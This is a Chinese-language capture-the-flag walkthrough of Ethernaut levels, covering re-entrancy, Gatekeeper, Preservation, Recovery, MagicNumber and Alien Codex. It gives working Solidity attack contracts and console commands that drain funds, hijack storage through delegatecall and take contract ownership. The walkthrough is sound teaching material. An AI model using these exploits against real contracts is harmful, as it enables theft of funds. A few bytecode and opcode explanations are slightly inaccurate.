要么改变世界,要么适应世界

【Ethernaut闯关录】中篇

2023-03-11 19:24:47
430
目录

原文再续,书接上回,本文继续闯关,本次我们来学习重入漏洞、Solidity存储布局、ERC20代币标准、delegatecall、交易追踪和字节码等知识。

Re-entrancy

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

通关条件:将合约代币都偷走。

考察的是重入漏洞,该漏洞恐怕是智能合约上面最臭名昭著的漏洞了,withdraw函数中,先进行转账(以call的方式),然后才更新余额,那么如果转账目的方是一个合约账户,在转账过程又会继续调用withdraw函数,则此时balances[msg.sender]来不及更新,则会造成合约的代币被盗取。著名的DAO攻击就是利用了该漏洞。

具体而言,参照下面的合约:

pragma solidity ^0.8.0;


interface Target{
     function donate(address _to) external payable ;
     function withdraw(uint _amount) external ;
}

contract ReEntrancyAttack {
	address public instance ;
  	constructor(address _instance) payable {
        instance = _instance;  
  	}
    fallback()payable external{
    // 通过查看可知,Reentrance 合约中有 0.001 ether
        Target target = Target(instance);
        target.withdraw(0.001 ether);
    }
    function donate()public returns(bool){
        Target target = Target(instance);
        target.donate{value: 0.001 ether}(address(this));
    }
    function attack()public returns(bool){
        Target target = Target(instance);
        target.withdraw(0.001 ether);
    }
}

攻击流程:我们部署我们的攻击合约(部署的时候传入Reentrance合约地址),同时往攻击合约ReEntrancyAttack中转入0.001 ether,接着调用donate,然后在控制台输入fromWei(await contract.balanceOf('0x11Ef368C1D3226dce5c53A9880b0DF148Ea3D0a1'))即可发现我们已经放入0.001 ether,此时可以调用我们的attack函数,调用完毕,我们的攻击合约将会得到0.002 ether,即我们不仅拿回了原本放进合约Reentrance中的0.001 ether,还顺带把Reentrance本身有的0.001 ether拿了过来。

Elevator

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
// 判断是不是最后一层
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);
    // 如果指定层_floor不是最后一层,则移动到该指定层,并继续判断
    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

通关条件:将top置为ture

本题目和solidity特性好像关联不是很大,考察的是逻辑漏洞,我们想要top为真,则if语句的building.isLastFloor(_floor)必须返回false,但是下面的19行处building.isLastFloor(floor)又要求返回true,对相同值返回不同的结果,看上去貌似矛盾,其实,我们可以这样子想想,只要第一次调用isLastFloor返回是false,后面调用再返回true不就行了吗?如下

contract ElevatorAttack{
    uint public state;
    constructor(){
    	state = 0;
    }
    function isLastFloor(uint) external returns (bool){
    // 第一次调用
		if (state == 0){
			state = state + 1;
			return false;
		} else{
		// 第二次及以后
			return true;
		}
    }
}

Privacy

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(block.timestamp);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

通关条件:将locked改为false

Vault关卡很像,可以说是它的升级版,在这里就得好好说一下solidity中的状态变量存储方式了,参考【官方文档】,我们可知:

存储大小少于 32 字节的多个变量会被打包到一个 存储插槽storage slot 中,规则如下:

  • 存储插槽storage slot 的第一项会以低位对齐的方式储存。
  • 值类型仅使用存储它们所需的字节。
  • 如果 存储插槽storage slot 中的剩余空间不足以储存一个值类型,那么它会被存入下一个 存储插槽storage slot 。
  • 结构体(struct)和数组数据总是会开启一个新插槽(但结构体或数组中的各元素,则按规则紧密打包)。
  • 结构体和数组之后的数据也或开启一个新插槽。

由于 映射mapping 和动态数组不可预知大小,不能在状态变量之间存储他们。相反,他们自身根据 以上规则 仅占用 32 个字节,然后他们包含的元素的存储的其实位置,则是通过 Keccak-256 哈希计算来确定,比较复杂,可以在【文档】中查看,这里不涉及,就不带大家看了。

因此根据变量类型和对应占用字节数,Privacy中的存储分布大致如下:

----------------------------------------------------------------
|              unused (30)                         | locked (1)| <- slot 0
----------------------------------------------------------------
|                          ID (32)                             | <- slot 1
----------------------------------------------------------------
|   unused(28)   | awkwardness(2)|denomination(1)|flattening(1)| <- slot 2
----------------------------------------------------------------
|                         data[0] (32)                         | <- slot 3
----------------------------------------------------------------
|                         data[1] (32)                         | <- slot 4
----------------------------------------------------------------
|                         data[2] (32)                         | <- slot 5
----------------------------------------------------------------

因此我们使用

await web3.eth.getStorageAt(instance, "5")
> '0xa264a1b3d12c27658b731ce1c5c631521539801e9e246f3c0e3e03dd408a8de8'

就可以获取data[2]了,但是bytes16(data[2])会截取其低位的值,又因为对其方式,因此a264a1b3d12c27658b731ce1c5c63152才是我们想要的结果。

Gatekeeper One

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

通关条件:正常执行完enter函数。

我们先来看看,如何绕过三个gate函数,第一个可以参照Telephone关卡,借助第三方合约即可。

对于第二个函数,gasleft()返回的是当前可用的gas,这个要你知道该合约运行到这一行时候,所消耗的gas,需要我们直到题目使用的编译器,然后放到本地调试,这种方法太麻烦了,所以我选择枚举,即调用时候设置gas为n*8191+x,不断改变x,再调用即可。

对于第三个函数,假设_gatekey可以被下面数字表示:

0xab cd ef gh ij kl mn op

对于第一个条件,要求ijklmnop==0000mnop,即ijkl=0000

对于第二个条件,要求00000000ijklmnop!=abcdefghijklmnop,即00000000!=abcdefgh

第三个条件,要求ijklmnop==0000xxxx,其中,xxxxtx.origin的低两个字节。

故,满足条件的一个_gateKey1111111100001df4(我的metamask账户的最低两字节是1df4

综上,我们可以借助下面的攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOneAttack {
    function attack() public {
        // 	该地址可以在控制台中输入 `instance` 获取
        address _addr = 0x8F29B1467240Ccd340BD33371559cC76729b8e27;
        bytes8 _gateKey = 0x1111111100001df4;
        for(uint x = 0; x < 8191; x += 1){
            (bool success, bytes memory data) = _addr.call{gas: 81910 + x}(
                abi.encodeWithSignature("enter(bytes8)", _gateKey)
            );
            if(success){
                break;
            }
        } 
    }
}

Gatekeeper Two

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

通关条件:正常执行完enter函数。

关于第一个条件,参照关卡【Gatekeeper One】即可。

但是第二个条件又要要求调用者的地址上不能没有代码,即貌似调用者必须是一个外部账户(EOA)?其实不然,如果一个合约,在构造函数运行阶段,对该地址调用extcodesize,则返回的是零,我们利用这一点即可。

对于第三个,先是对我们的调用方的地址进行打包,又进行计算哈希,又是转数组,又是转64位无符号整数的,最后还要和一个数字异或,看似很复杂,其实,我们可用使用异或的逆操作,即:

x ^ y = z
则 x = y ^ z

最终,攻击的合约如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwoAttack {
     constructor()  {
        // 	该地址可以在控制台中输入 `instance` 获取
        address _addr = 0x0aD80881e0C2b8294beA62b5916Bb0029b93922e;
        bytes8 _gateKey = bytes8(type(uint64).max ^ uint64(bytes8(keccak256(abi.encodePacked(this)))));
    	_addr.call(
                abi.encodeWithSignature("enter(bytes8)", _gateKey)
            );
    }
}

Naught Coin

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = block.timestamp + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0') {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(block.timestamp > timeLock);
      _;
    } else {
     _;
    }
  } 
} 

通关条件:将您的代币余额变成零。

乍一看上去,由于十年期限的限制,我们无法使用transfer进行转账,但是实际上该代币是ERC20代币的实现,该代币接口中有一个授权转账的函数:

function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

但是使用该函数有个前提条件,即msg.sender要获得from的授权,授权代币额度大于等于amount

因此我们要给自己授权,该函数实现如下:

function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

spender是被授权方。

因此依次在控制台输入如下即可:

await contract.approve(player,'1000000000000000000000000')
await contract.transferFrom(player,'0x34a2Bdc713002B5b7c80F20233b306977aD3B64E','1000000000000000000000000')

0x34a2Bdc713002B5b7c80F20233b306977aD3B64E是一个合法的第三方账户。

Preservation

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

通关条件:获得合约所有权。

我们先来回顾一下delegatecall的用法

实际上,你可以粗略地理解成我们把目标合约的函数代码给拿了过来,放在我们当前合约中执行,修改的是当前合约的变量,相当于引入库函数的功能。

我们先来看一下Preservation合约的存储:

---------------------------------------
|  unused (12) | timeZone1Library (20)| <- slot 0
---------------------------------------
|  unused (12) | timeZone2Library (20)| <- slot 1
---------------------------------------
|  unused (12) |       owner (20)     | <- slot 2
---------------------------------------
|            storedTime (32)          | <- slot 3
---------------------------------------
|    unused (28) |setTimeSignature (4)| <- slot 4
---------------------------------------

再来看看LibraryContract合约的存储:

---------------------------------------
|            storedTime (32)          | <- slot 0
---------------------------------------

由于变量storedTimeLibraryContract合约中,是在slot 0的位置,因此当Preservation调用setFirstTime的时候,由于delegatecall的特性,修改的是其slot 0处的变量,即变量timeZone1Library,也就是说,我们可将其设置为一个恶意地址,指向一个恶意合约,然后恶意中修改owner变量即可。

攻击合约如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PreservationAttack {

  address public foo1;
  address public foo2;
  address public storedTime; 

 function setTime(uint _time) public {
 // storedTime 是在 slot 2 的位置,因此将来修改的是 owner
    storedTime = address(uint160(_time));
  }
}

我们先部署上述合约,获得其地址0x5F100674E2b7b3Ff0C3E93582151fA16E75e96eD,然后在控制台输入:

await contract.setFirstTime('0x5F100674E2b7b3Ff0C3E93582151fA16E75e96eD')

再调用函数

await contract.setFirstTime(player)

即可完成修改。

Recovery

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value * 10;
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender] - _amount;
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

通关条件:找回已部署的SimpleToken合约。

该关卡考察的应该是如何根据合约地址去追踪历史交易。

我们先在控制台输入instance,获取关卡实例地址,注意,这不是合约SimpleToken的地址,得到该实力地址以后,打开浏览器,输入

https://sepolia.etherscan.io/

我用的是sepolia测试网,如果使用的是其他测试网,要相应地修改地址

输入实力地址,并选择internal transaction,找到最新的记录

点击【Contract Creation】,进去后得到一个地址0x502C2D61E236119acEe7E973cb7fB1cd180AcB8f,而且该地址账户拥有0.001ether,实际上该地址就是我们要找的合约地址,我们只要调用该地址上面的destroy函数即可,我们可用通关部署一下合约进行:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract RecoveryAttack {
// 在控制台输入  player 获得对应地址
  constructor(address _player){
  
  	address(0x502C2D61E236119acEe7E973cb7fB1cd180AcB8f).call(
  		abi.encodeWithSignature("destroy(address)", _player)
  	);
  }
}

MagicNumber

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNum {

  address public solver;

  constructor() {}

  function setSolver(address _solver) public {
    solver = _solver;
  }

  /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
  */
}

通关条件:部署一个合约

我们需要部署一个合约Solver,该合约中会返回一个数字,和whatIsTheMeaningOfLife()对应,实际上是42(别问我怎么知道,问就是网友说的).还要要求该合约中的字节码不超过10个。

本关卡好难,直接去网上看别人的做法!

参考链接【以太坊智能合约静态分析】【ethervm.io】【https://xz.aliyun.com/t/11159#toc-9】

智能合约编译后的字节码,分为三个部分:部署代码、runtime代码、auxdata。

当然,auxdata是源码的加密指纹,用来验证。这只是数据,永远不会被EVM执行。

以太坊虚拟机在创建合约的时候,会先创建一个合约账户,然后运行部署代码。运行完成后它会将runtime代码+auxdata 存储到区块链上。之后再把二者的存储地址跟合约账户关联起来(也就是把合约账户中的code hash字段用该地址赋值),这样就完成了合约的部署。而我们本关卡主要是从runtime代码入手。

如果我们要返回42,则最后的字节码必须是RETURN,使用该字节码时候,将会依次从栈中取两个元素,作为偏移量offset和长度length,最终返回的内容是memory[offset:offset+length],因此我们要在RETURN上面将偏移量和长度写进栈中,然后在此之上,再写入42到内存memory中。具体如下:

偏移    汇编指令对应二进制(16进制)实际汇编指令
0000    602a                 PUSH1 0x2a
0002    6050                 PUSH1 0x50
0004    52                   mstore
0007    6020                 PUSH1 0x20
0009    6050                 PUSH1 0x50
000B    F3                   RETURN

前三行是写入42,后三行是设置return的内容.设置偏移量为0x50是因为我们的低部分位置放了代码。

上述的汇编作为runtime代码,刚好10个字节,即10个opcode(以太坊中,一个字节码占用一个字节)。

下一步,我们要通过部署代码,将runtime代码写入区块链;在部署代码这一块,写入代码需要使用CODECOPY,该操作码会依次从栈中取出三个操作数destOffsetoffsetlength,即完成

memory[destOffset:destOffset+length] = msg.data[offset:offset+length]

因此这一段的汇编如下:

偏移    汇编指令对应二进制(16进制)实际汇编指令
0000    600a            PUSH1 0x0a
0002    600c            PUSH1 0x0c
0004    6000            PUSH1 0x00
0006    39              CODECOPY
0007    600a            PUSH1 0x0a
0009    6000            PUSH1 0x00
000B    F3              RETURN

第一次push的是0x0a,这是runtime代码的长度,第二次push的是0x0c,是因为我们的部署代码的长度是12个字节,我们将runtime代码附在部署代码后面,则runtime代码的偏移量是0x0c,第三次push的是0x00,是因为我们打算将我们的runtime代码保存到内存memoryslot 0处。最后是将memory的空间扩展到len=0x0a(如果之前不足的话) 并返回部署后的字节码.最终的汇编如下:

偏移    汇编指令对应二进制(16进制)实际汇编指令
0000    600a            	PUSH1 0x0a
0002    600c            	PUSH1 0x0c
0004    6000            	PUSH1 0x00
0006    39              	CODECOPY
0007    600a            	PUSH1 0x0a
0009    6000            	PUSH1 0x00
000B    F3              	RETURN
000C    602a                 PUSH1 0x2a
000E    6050                 PUSH1 0x50
0010    52                   mstore
0011    6020                 PUSH1 0x20
0013    6050                 PUSH1 0x50
0015    F3                   RETURN

600a600c600039600a6000F3602a60505260206050F3是我们要部署的内容。

我们在控制台输入一下代码即可:

byteCode = "600a600c600039600a6000F3602a60505260206050F3"
await web3.eth.sendTransaction({from: player, data: byteCode})
// 将会返回contract地址,假设为0x01
await contract.setSolver('0x01')

然后提交即可。

Alien Codex

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

通关条件:获得合约所有权。

乍一看上去,没有修改合约所有权的函数,实际上,该合约继承了Ownable合约,该合约可以【此】查看,实际上,就算我们不查看该合约,我们也可以依次在控制台输入一下代码,查看相关存储布局:

await contract.owner()
await web3.eth.getStorageAt(instance, "0")
await contract.make_contact()
await web3.eth.getStorageAt(instance, "0")

就会发现,实际上该合约的存储结构中,第一个slot的布局如下:

--------------------------------------------------------------
|      unused(11)      |contact(1) |        owner (20)       | <- slot 0
--------------------------------------------------------------

再次查看revise函数,支持写入codex的某个位置,我们还注意到retract函数,是直接将动态长度减去1,实际上slodity这里并没有对动态数组长度做溢出检查

await contract.retract()
await web3.eth.getStorageAt(instance, "1")
# return '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'

slot 1 存储的是动态数组codex的长度,关于动态数组中元素的位置,参照【官网文档-状态变量在储存中的布局】

由于我们的codex变量目前是和slot 1相关联,而动态数组的元素存储位置会从 keccak256(p) 开始,pslot index,本关卡是1,此外, 它的布局方式与静态大小的数组相同。一个元素接着一个元素。

我们借助remix,写个计算keccak256的函数:

contract T {
    function keccak256Helper(uint p) public pure returns(bytes32 res) {
        res = keccak256(abi.encodePacked(p));
    }
}

可以得到

keccak256(1)=0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

该地址即为codex中元素的起始地址

借助python,我们可以计算一个偏移地址,使得偏移后的地址指向0,即:

hex(2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6)
             0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a

我们调用revise函数,并将偏移地址设置成上述地址:

await contract.revise('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a', '0x000000000000000000000000' + player.substr(2))

然后我们可以确认我们已经成功获得所有权:

await contract.owner() == player
历史评论
开始评论